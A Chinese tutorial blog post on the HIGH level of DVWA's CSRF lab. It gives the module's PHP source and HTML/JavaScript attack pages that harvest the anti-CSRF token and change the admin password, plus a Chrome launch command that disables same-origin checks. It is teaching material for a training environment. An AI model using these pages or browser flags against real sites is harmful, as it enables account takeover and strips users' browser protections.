DVWA详解:CSRF篇(下)
前言:
没什么特别的东西想说,本篇博文是DVWA中CSRF漏洞的HIGH难度讲解,关于本篇博文的实验环境,见"CSRF篇(上)";
快速跳转:
HIGH - 源码分析:
在HIGH难度下,博主选择的是先从源码解释开始说,感觉这样能更清楚的解释HIGH难度下的各种问题,以下为HIGH难度代码中的要点:
1、可以使用"GET/POST"请求进行密码修改(表明我们可以使用"GET/POST"请求的方式对该页面进行攻击);
2、无论使用"GET/POST"请求,均会使用"checkToken()"方法对提交的TOKEN进行对比验证;这就要求我们必需找到客户侧TOKEN的位置(发现TOKEN在HTML页面中,只是不直接显示);
3、无论使用"GET/POST"请求,我们均需要在请求中附带TOKEN;
4、无论使用"GET/POST"请求,每次访问CSRF页面,均会使用"generateSessionToken()"方法更新服务器的TOKEN信息(表明无论"GET/POST"请求,在每次提交请求前,我们需要想办法先获取到这个每次都不一样的TOKEN,才有机会成功修改密码);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
// 以上代码来源于DVWA 2.3版本"CSRF"模块的"HIGH"等级代码 // > "vulnerabilities/csrf/source/high.php" // 其对应的完整GET请求样式如下: // http://DAMAIN/vulnerabilities/csrf/?password_new=XXX&password_conf=XXX&Change=Change&user_token=XXX // 另外,其还支持使用POST请求("请求"要求的样式见帮助文档); <?php $change = false; $request_type = "html"; $return_message = "Request Failed"; // 1、这里主要作用用于判断"GET/POST"请求; // *、无论"GET/POST"请求,均要求提交的参数中带TOKEN; // *、GET请求比POST请求简单,选择GET请求作为突破点更容易模拟CSRF攻击(POST请求也是可以的); // *、需要找到TOKEN的位置(发现TOKEN在HTML页面中,只是不直接显示); // *、每次访问页面,TOKEN都会更新(包括服务端侧); if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") { $data = json_decode(file_get_contents('php://input'), true); $request_type = "json"; if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) && array_key_exists("password_new", $data) && array_key_exists("password_conf", $data) && array_key_exists("Change", $data)) { $token = $_SERVER['HTTP_USER_TOKEN']; $pass_new = $data["password_new"]; $pass_conf = $data["password_conf"]; $change = true; } } else { if (array_key_exists("user_token", $_REQUEST) && array_key_exists("password_new", $_REQUEST) && array_key_exists("password_conf", $_REQUEST) && array_key_exists("Change", $_REQUEST)) { $token = $_REQUEST["user_token"]; $pass_new = $_REQUEST["password_new"]; $pass_conf = $_REQUEST["password_conf"]; $change = true; } } if ($change) { // 代码说明中,这是一个CSRF过滤器,用于防止CSRF,会比较"浏览器发送的TOKEN"是否与"服务端的TOKEN"相同, // 相同才进能更新密码,否则会"302"重定向至"/vulnerabilities/csrf/index.php" checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' ); // 1、这之后其实没什么重要,就是比较两次输入的密码是否一致,一致则进入MD5哈希后, // 然后更新数据库中的密码,否则不更新; // 2、其中比较重要的是两次出现的"generateSessionToken()",就是这个函数在每次更新COOKIE; if( $pass_new == $pass_conf ) { $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ); $return_message = "Password Changed."; } else { $return_message = "Passwords did not match."; } mysqli_close($GLOBALS["___mysqli_ston"]); if ($request_type == "json") { generateSessionToken(); header ("Content-Type: application/json"); print json_encode (array("Message" =>$return_message)); exit; } else { echo "<pre>" . $return_message . "</pre>"; } } generateSessionToken(); ?> |
下图为TOKEN在浏览器开发工具中的获取方法,从每次请求的响应数据中,可以很方便的看到当次的TOKEN值:
HIGH - 实验操作(同源策略启用):
HIGH难度实际就是在主要难度在于使用了TOKEN验证,重点是那个TOKEN的值每次访问CSRF页面均会被更新(每次向"http://DAMAIN/vulnerabilities/csrf/"发送请求,服务端上的TOKEN会被更新),而HIGH难度下要更新密码,是需要在"GET/POST"请求中附带TOKEN的,所以,在每一次我们希望实施CSRF攻击时,均需要考虑如何获取这个TOKEN的值;
在同源策略启用的情况下,博主尝试以多种方式绕过浏览器的"同源检测"(该版本的浏览器在处理HTML的带"src="属性的标签存在缺陷),结果均失败,结论是,在浏览器同源策略启用的情况下,DVWA的HIGH难度的纯CSRF攻击无法实现(纯CSRF攻击是指在不结合其它漏洞的情况实现密码修改);博主尝试过以下方式:
1、使用"HTML标签的'src='属性"解决DVWA的COOKIE获取问题 + "使用'<iframe>'标签嵌入CSRF页面'再利用DOM操作提取TOKEN";代码大概如下所示,结果失败,主要失败原因是:在同源策略启用的情况下,DOM操作的作用域被严格的限制在其各自的"域"内("dvwa.domain.local"或"csrf.attack.local");假设下面的代码写在了"high.html",那么这份文件内的的DOM操作代码是无法访问"<iframe>"的HTML数据的;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ cat > csrf/hightest1.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DVWA CSFR HIGH</title> </head> <iframe src="http://dvwa.domain.local/vulnerabilities/csrf/" id="hack" border="0" style="display:none;"></iframe> <script type="text/javascript"> function attack() { iframeToken = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementsByName('user_token')[0].value = iframeToken; document.getElementById("csrfAttack").submit(); } </script> <body onload="attack()"> <h1>[ HIGH ] > PASSWORD : adminroot</h1> <form method="GET" id="csrfAttack" action="http://dvwa.domain.local/vulnerabilities/csrf/" target="_blank"> <input type="hidden" name="password_new" value="adminroot"> <input type="hidden" name="password_conf" value="adminroot"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body> </html> EOF |
2、使用"Axios/Fetch/XMLHttpRequest"等方式发送请求获取CSRF页面再从响应数据中提取TOKEN + 构建"HTML带'src='的标签"进行攻击;代码大概如下所示,结果失败,主要失败原因是:"Axios/Fetch/XMLHttpRequest"等是严格遵守浏览器的同源策略的,这些JS库无法直接调用到DVWA站点的COOKIE~~;在缺失COOKIE的情况下甚至无法正确打开目标页面,自然也就无法获取到TOKEN了,即使HTML标签的"src="可以在该版本的CHROME上绕过同源策略获取到DVWA的COOKIE,也没有意义~~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ cat > csrf/hightest2.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <!-- <script src="/csrf/axios.min.0.10.0.js"></script> --> <title>DVWA CSFR HIGH</title> </head> <body> <h1>[ HIGH ] > PASSWORD : adminroot</h1> <script> function csrfAttack() { axios.get('http://dvwa.domain.local/vulnerabilities/csrf/') .then(function (response) { var tokenMatch = response.data.match(/'\w{32}'/) var token = tokenMatch[0].replace(/'/g, "") console.log("CSRF Token:", token) var changePasswd = "adminroot" var attackURL = "http://dvwa.domain.local/vulnerabilities/csrf/?password_new=" + changePasswd + "&password_conf=" + changePasswd + "&Change=Change&user_token=" + token var img = document.createElement("img") img.src = attackURL img.width = 0 img.height = 0 document.body.appendChild(img) }) } window.onload = csrfAttack() </script> </body> </html> EOF |
3、使用"Axios/Fetch/XMLHttpRequest"等纯JS的方式,失败原因见"2"说明(无法解决COOKEI问题);
实际上,官方对CSRF攻击的帮助文档上,从MEDIUM难度开始,就没有希望你可以使用纯CSRF的方式实现攻击,官方帮助文档表明,在实施CSRF攻击时,建议结合XSS的方式进行攻击;
另外说一下关于网络上的CSRF的HIGH难度的解题方法存在的问题:A、有使用文件上传漏洞说实现了CSRF的,错!都上传文件了,肯定同源了,同源还能叫"Cross-Site"吗?B、还有使用"Burp Suite"拦截数据包修改请求的,这不叫"Cross-Site"!这叫中间人攻击!!!
CSRF最大的吸引力是"Cross-Site"!"Cross-Site"!"Cross-Site"!
简单说明一下什么是"同源策略"吧,"同源策略"一般是相对浏览器来说的,指的一般是浏览器的安全策略,其主要作用是限制各个"域"之间的资源访问,从URL的角度来说,就是要求"协议"、"域名"、"端口"三者的统一,其会影响至DOM/JS的跨域操作;当然,"同源策略"并不是浏览器所独有的,但一般人接触到"同源策略"最直观的软件就是浏览器;实际上,服务端侧也是存在"同源策略"的,但一般会被称之为"CORS(跨域资源共享)",这两者的关键点均是"协议/域名/端口",基本上你将两者放在一起来理解完全没有问题;关于"同源策略",网络上有更多更详细的解释,本处只简单的点明一下其重点,如果你依然不太明白什么是同源策略,你可以搜索一些相关的文章来研究~~
HIGH - 实验操作(同源策略禁用):
在浏览器禁用"同源策略"的情况下,前面介绍的三种方式,均可以实现纯CSRF攻击(读者可以自己使用上面的代码进行测试);可见浏览器"同源策略"的重要性与必要性;在上面的介绍中,博文中未附带"3"方式的"纯JS方式的HTML代码"的攻击方式,本节将在同源策略禁用的情况下,使用JS的方式(Axios),实现纯CSRF攻击;
下面,我们需要:1、更新"index.html"("上篇"的教程中博主未为HIGH难度编写快速调用页面的代码,本处更新一下);2、创建"csrf/high.html"用于将密码修改成"adminroot"(浏览器禁用同源策略);3、创建"csrf/high_restore.html"用于将密码还原成"password"(浏览器禁用同源策略);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
# 以下SHELL代码在"DOCKE虚拟机_B"(IP:192.168.100.56)中执行; # 1、进入目录(前面创建的目录),只是用"delete/html"目录保存HTML代码文件而已, # 之后会将这些HTML代码文件复制至"csrf"容器内; $ cd ; cd delete/html # 2、修改"index.html"页面,增加"HIGH"难度的快速调用按钮; $ cat > index.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DVWA CSRF TEST</title> <style> body {display: flex; flex-direction: column; align-items: center; margin: 10px;} button {height: 25px; width: 320px; margin: 5PX;} </style> </head> <body> <p>-----------------------------------------------</p> <H2>LOW</H2> <button onclick="OpenWindow('/csrf/low.html')">CSRF LOW - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/low_restore.html')">CSRF LOW - 修改密码为"password"</button> <hr> <p>-----------------------------------------------</p> <H2>MEDIUM</H2> <button onclick="OpenWindow('/csrf/medium_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/medium_restore_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"password"</button> <hr> <p>-----------------------------------------------</p> <H2>HIGH</H2> <button onclick="OpenWindow('/csrf/high.html')">CSRF HIGH - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/high_restore.html')">CSRF HIGH - 修改密码为"password"</button> <p>需禁用浏览器的同源策略</p> <p>-----------------------------------------------</p> </body> <script> function OpenWindow(page) { const url = 'http://csrf.attack.local' window.open(url + page); } </script> </html> EOF docker cp index.html csrf:/usr/share/nginx/html # 3、创建"csrf/high.html"用于将密码修改成"adminroot"(浏览器禁用同源策略) # *、本代码默认使用了互联网上的"axios"库,需要联网;如果不想从互联网下载Axios, # 你可以下载Axios.js后,自己上传至"csrf容器",这可以解决一些网络异常所导致 # 的实验失败; $ cat > csrf/high.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <!-- <script src="/csrf/axios.min.0.10.0.js"></script> --> <title>DVWA CSFR HIGH</title> </head> <body> <h1>[ HIGH ] > PASSWORD : adminroot</h1> <p>需 要 禁 用 浏 览 器 的 同 源 策 略</p> <script> function csrfAttack() { axios.get('http://dvwa.domain.local/vulnerabilities/csrf/') .then(function (response) { var tokenMatch = response.data.match(/'\w{32}'/) var token = tokenMatch[0].replace(/'/g, "") console.log("CSRF Token:", token) var changePasswd = "adminroot" var attackURL = "http://dvwa.domain.local/vulnerabilities/csrf/?password_new=" + changePasswd + "&password_conf=" + changePasswd + "&Change=Change&user_token=" + token axios.get(attackURL).then(function (response) { console.log("CSRF ATTACK SUCCESS : adminroot") }) }) } window.onload = csrfAttack() </script> </body> </html> EOF # 4、创建"csrf/high_restore.html"用于将密码还原成"password"(浏览器禁用同源策略); # *、本代码默认使用了互联网上的"axios"库,需要联网;如果不想从互联网下载Axios, # 你可以下载Axios.js后,自己上传至"csrf容器",这可以解决一些网络异常所导致 # 的实验失败; $ cat > csrf/high_restore.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <!-- <script src="/csrf/axios.min.0.10.0.js"></script> --> <title>DVWA CSFR HIGH</title> </head> <body> <h1>[ HIGH ] > PASSWORD : password</h1> <p>需 要 禁 用 浏 览 器 的 同 源 策 略</p> <script> function csrfAttack() { axios.get('http://dvwa.domain.local/vulnerabilities/csrf/') .then(function (response) { var tokenMatch = response.data.match(/'\w{32}'/) var token = tokenMatch[0].replace(/'/g, "") console.log("CSRF Token:", token) var changePasswd = "password" var attackURL = "http://dvwa.domain.local/vulnerabilities/csrf/?password_new=" + changePasswd + "&password_conf=" + changePasswd + "&Change=Change&user_token=" + token axios.get(attackURL).then(function (response) { console.log("CSRF ATTACK SUCCESS : password") }) }) } window.onload = csrfAttack() </script> </body> </html> EOF # 5、将文件更新至"csrf"容器 docker cp index.html csrf:/usr/share/nginx/html docker cp csrf/ csrf:/usr/share/nginx/html |
在完成上面代码的更新操作后,为了模拟本次实验,我们需要在浏览器上禁用"同源策略",见下说明:
1 2 3 4 5 |
chrome.exe --disable-xss-auditor --disable-web-security --user-data-dir="C:\ChromeTest" # --disable-xss-auditor :禁用XSS过滤器(要测试XSS漏洞需要关闭,与本篇CSRF无关) # --disable-web-securit :禁用"同源检测"功能(平时绝对不要使用本选项) # --user-data-dir= :参数用于指定一个新的用户数据目录(CHROME不允许在默认配置下禁用同源策略) |
使用"已经禁用了'同源检测'的旧版本的Chrome浏览器(IP:192.168.100.X)",按以下方式操作:
1、打开"http://dvwa.domain.local"进行登录(这一步的操作是为了让浏览器获取COOKIE,用于被"http://csrf.attack.local"网站进行攻击);
2、修改难度为"HIGH";
3、在浏览器的新窗口中打开"http://csrf.attack.local/index.html",你可以选择以下操作:
- A、点击'CSRF HIGH - 修改密码为"adminroot"'按键就会将"admin"的密码修改为"adminroot"(以上操作实际就是访问了"http://csrf.attack.local/csrf/high.html"这个页面而且利用CSRF漏洞将密码修改成"adminroot")(禁用浏览器"同源检测"的状态下);
- B、点击'CSRF HIGH - 修改密码为"password"'按键就会将"admin"的密码修改为"password"(以上操作实际就是访问了"http://csrf.attack.local/csrf/high_restore.html"这个页面而且利用CSRF漏洞将密码修改成"password")(禁用浏览器"同源检测"的状态下);
4、假设我们执行了"A"操作,返回在"DVWA",使用CSRF页面中的测试登录测试功能(点击"Test Credentials"弹出子页面),使用"admin/adminroot"进行登录测试,发现成功登录了,密码由原来默认的"password"密码被修改为"adminroot";
以下相关操作截图,诸可以参考操作:
小结:浏览器的"同源策略"非常重要,我们日常浏览互联网的过程中,一直受"同源策略"的保护;从上面的实验可以知道,如果没有"同源策略",我们日常访问互联的过程中,将多么的不安全;
结:
DVWA的CSRF篇到这里算是完结了,从实验过程来说,"LOW/MEDIUM"难度的CSRF模拟攻击似乎是更有代表性,毕竟这两次的模拟攻击均不需要禁用浏览器的"同源策略";HIGH难度在禁用浏览器的"同源策略"下也可以实现纯CSRF攻击,但这显然没什么说服力;
不过,在2024年讨论CSRF攻击,实在是意义不大;现代浏览器在"同源策略"的安全处理上,已经非常完善了,而服务端侧,也有"CORS"技术机制处理类似的安全问题;现在,你想找一个存在CSRF漏洞,并且可以绕过现代浏览器的安全机制,实现CSRF攻击的有价值的站点,几乎是没有可能的;大部分情况下,我们都只能从DVWA这些漏洞测试平台,去体现当年CSRF的辉煌了~~
在这之后,博主可能会写一篇"CSRF篇(终)",使用官方的方式,在HIGH难度下,使用"XSS + CSRF"相结合的方式,实现CSRF的HIGH难度下的攻击,看情况吧~本篇完~~
DVWA详解:CSRF篇(下):等您坐沙发呢!